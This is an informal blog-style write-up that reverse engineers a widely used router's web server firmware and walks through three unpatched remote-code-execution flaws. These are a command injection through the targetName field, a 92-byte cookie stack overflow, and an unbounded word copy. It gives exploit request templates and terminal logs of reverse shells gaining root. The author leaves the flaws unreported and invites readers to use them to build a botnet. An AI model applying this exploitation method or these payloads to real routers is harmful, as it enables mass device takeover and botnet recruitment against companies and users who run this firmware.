fire the firmware devs bro
as it turns out a lot of corps and companies have routers and i was lucky enough to find out that this specific router that a lot of companies use have firmware to download on the manufs official site.
opening this in 7zip i realized i was lazy and after looking through /bin and /usr/bin and other places i found a httpd, or in other words a server
opening it in ida
im too lazy to explain everything but ill make the functions look prettier and explain the general way they work. since httpd obv means a server for the router, there are endpoints that we can reach (duh). here is a snippet of a generic one i found:
int __fastcall GetWtpInformation(_DWORD *a1)
{
void *v3; // [sp+10h] [bp-4024h] BYREF
int v4; // [sp+14h] [bp-4020h] BYREF
int v5; // [sp+18h] [bp-401Ch] BYREF
_WORD *v6; // [sp+4018h] [bp-1Ch]
void *s; // [sp+401Ch] [bp-18h]
void *v8; // [sp+4020h] [bp-14h]
int v9; // [sp+4024h] [bp-10h]
v9 = 0;
v8 = Lookup((int)a1, (int)"type", 0);
if ( v8 )
{
sub_53F04(v8, &v4);
s = malloc(32 * v4 + 20);
v3 = 0;
// ...
this represents the endpoint /forms/GetWtpInformation, or:
POST /forms/GetWtpInformation
type=blahblah something idk
where Lookup is something that without analysis looks like complete dogshit:
void *__fastcall sub_27790(int a1, int a2, int a3)
{
int v6; // [sp+14h] [bp-10h]
v6 = sub_1BF04(*(_DWORD *)(a1 + 32), a2);
if ( !v6 )
return (void *)a3;
if ( (*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18) )
return (void *)((*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18));
return &unk_A4B4C;
}
changing the types help obv
this sub_1BF04 once you unfuck it is probably some helper that seems to take a tablebase and some key. basically its just a hash bucket string lookup over a linked list
nothing special so far, but while going through the code you will immediately realize the rampant use of something that one could argue is retarded:
int __fastcall TelnetConnect(_DWORD *a1)
{
system("killall -9 telnetd");
system("telnetd &");
LogMsg((int)a1, "load telnetd success.");
return StatusCode(a1, 200);
}
very interesting obviously but lets keep going on. xrefing system yields only a few results which is probably good for now.
searching up system however yields something more worth taking a look at:

xrefing the newly found executeSystemCommand yields this:

clearly the developers arent sharp but with TelnetConnect it should be easy to infer that this is but a foregone conclusion
going through the xrefs
some of these are harmless:
puts("rm /var/masterDevInfo.xls!");
return (void *)executeSystemCommand("rm %s", "/var/masterDevInfo.xls");
some of these are of interest:
// in int __fastcall sub_8F7B0
for (int i =0; i <= 7; i++) {
if (i < pic_array->count && pic_array[i].filename[0]) {
sprintf(cmd, "rm -rf root/pictures/web/%s", pic_array[i].filename);
executeSystemCommand(cmd);
}
}
xrefing this, it belongs to a massive function called UploadImgInfothat i didnt bother fully analyzing because im too lazy. however it does have these parameters:
s1 = (char *)Lookup(a1, (int)"action", (int)"create");
v43 = (char *)Lookup(a1, (int)"targetName", (int)"0");
nptr = (char *)Lookup(a1, (int)"addBasicStyle", (int)"0");
v41 = (char *)Lookup(a1, (int)"addCategory", (int)"addCategory");
v40 = (char *)Lookup(a1, (int)"addDescription", (int)"addDescription");
v39 = Lookup(a1, (int)"authCode", (int)"123456");
so the call would be:
POST /forms/UploadImgInfo
action=create&targetName=idk&addBasicStyle=idk&addCategory=hmm&addDescription=hi+world&authCode=???
and we have to reach this line to achieve our RCE:
status = passFilter(a1, v24 + 4, v24 + 6);
if ( status == 1 )
{
sub_8F7B0(v22, v23 + 2276); // we reach here
}
passFilter
passFilter is obviously a bunch of checks to see if our input matches these rules:
char v15[64], s[64];
GrabVal((int)"int.behavior", (int)s1);
if ( strcmp((const char *)s1, "override") )
return 1; // lmfao
...
DWORD nptr[8];
v18 = strstr(*(const char **)(a1 + 184), "origDevIdentifier"); // a cookie
if ( !v18 )
return -1;
v17 = sscanf(v18, "%*[^=]=%[^;];*", s);
...
v17 = sscanf(s, "%[^:]:%s", v15, nptr);
notice that if int.behavior is override, it drops down to the checks for origDevIdentifier which is a cookie. interestingly sscanf(v18, "%*[^=]=%[^;];*", s) is obviously bad, since %[^;] means itll read until it encounters a semicolon. s is 64 bytes.
this obv is a BOF. however the stack layout requires us to overwrite these:
| vars | bp offset | size |
|---|---|---|
| s | bp-58h | 64 |
| v17 | bp-18h | 4 |
| v18 | bp-14h | 4 |
| i | bp-10h | 4 |
| pushed bptr | bp-00h | 4 |
| rip ($lr) | bp+04h | 4 |
so our offset is 92.
the exploit, therefore is:
POST /forms/{any endpoint that triggers the filter}
Cookie: origDevIdentifier=192.168.1.1:6767(b'A'*92)+[gadgets]
for obv reasons i wont release the exploit (should be pretty trivial to find gadgets however). obviously you can use the OSCI that we have to force ‘override’ mode pretty easily - youll see why we do this later on.
anyway back to the original executeSystemCommand thing. assume that int.behavior != override and we return 1, we pass the checks and immediately jump to our danger function sub_8F7B0(), with v21 as user controlled input. this fulfills:
sprintf(cmd, "rm -rf root/pictures/web/%s", pic_array[i].filename);
executeSystemCommand(cmd);
so we can set targetName as something like ; ls -al and itll work. nice
more
heres another function, namely in /forms/DeleteVlanPolicyBulk, which ill simplify for brevity:
int __fastcall DeleteVlanPolicyBulk(_DWORD *wow)
{
size_t v1; // r0
char v4[4096]; // [sp+10h] [bp-231Ch] BYREF
char v5[4096]; // [sp+1010h] [bp-131Ch] BYREF
char s1[256]; // [sp+2010h] [bp-31Ch] BYREF
char s[512]; // [sp+2110h] [bp-21Ch] BYREF
size_t n; // [sp+2310h] [bp-1Ch]
FILE *stream; // [sp+2314h] [bp-18h]
char *src; // [sp+2318h] [bp-14h]
int v11; // [sp+231Ch] [bp-10h]
src = (char *)Lookup((int)wow, (int)"policies", (int)&unk_A9B7C);
...
// s = src at this point
get_first_word(s1, s);
...
nothing of interest so far, until you look at get_first_word:
// analyzed it yw
char *__fastcall get_first_word(char *dest, char *src)
{
int dest_idx; // [sp+8h] [bp-Ch]
int src_idx; // [sp+Ch] [bp-8h]
src_idx = 0;
dest_idx = 0;
while ( src[src_idx] == ' ' )
++src_idx;
while ( src[src_idx] != ' ' && src[src_idx] )
dest[dest_idx++] = src[src_idx++];
dest[dest_idx] = 0;
return dest;
}
a rule of thumb for finding vulns is if you see something akin to dest[dest_idx++] = src[src_idx++] and it looks weird its likely fucked. in this case theres obviously zero bounds checks. if len(src) > len(dest) we can write past anything. obv this is another easy rce exploit. writing an exploit for this is trivial thanks to the sheer amount of gadgets there are.
so the exploit essentially is:
POST /forms/DeleteVlanPolicyBulk
policies="A"*800+[gadgets]
testing
running exploit a (osci) and opening a reverse shell in the bg:
root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# python yo.py [REDACTED]:1313 -p 6767
+ sent
========================================================================================================
root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# nc -lnvp 6767
connect to [REDACTED] from (REDACTED) [REDACTED] 1313
echo hi
hi
id
uid=100(httpd) gid=100(httpd) groups=100(httpd)
obv we dont really have root yet but this is good ia for most. if we really want root, we can simply modify the config files with our current perms and run the other BOF exploits
running the cookie bof exploit now with override on:
root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# python bofa.py [REDACTED]:8081 -p 6767 2>/dev/null
+ built payload
+ ropping and shit mane
1505
+ sending...
+ revshell
======================================
root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# nc -lnvp 6767
connect to [REDACTED] from (REDACTED) [REDACTED] 8081
id
uid=0(root) gid=0(root)
mount -o remount,rw / ; ls /* 2>/dev/null
... blah
or the first word exploit (this one took more time to make, since i made it drop a file to disk directly after shelling)
root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# python firstword.py [REDACTED]:8081 2>/dev/null
+ built payload
+ ropping and shit mane
2413
+ sending...
+ got a shell, write
+ http://[REDACTED]:8081/dildo
root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# curl http://[REDACTED]:8081/dildo
fuck you twin
ok so
i dont really care about these findings so feel free to have fun with them. finding gadgets and building the chain isnt hard either since you have a boatload of gadgets and its easy rop. you can root any router using this specific firmware (wont name brand but it starts with the letter Z) so you can now expand your lovense c2 net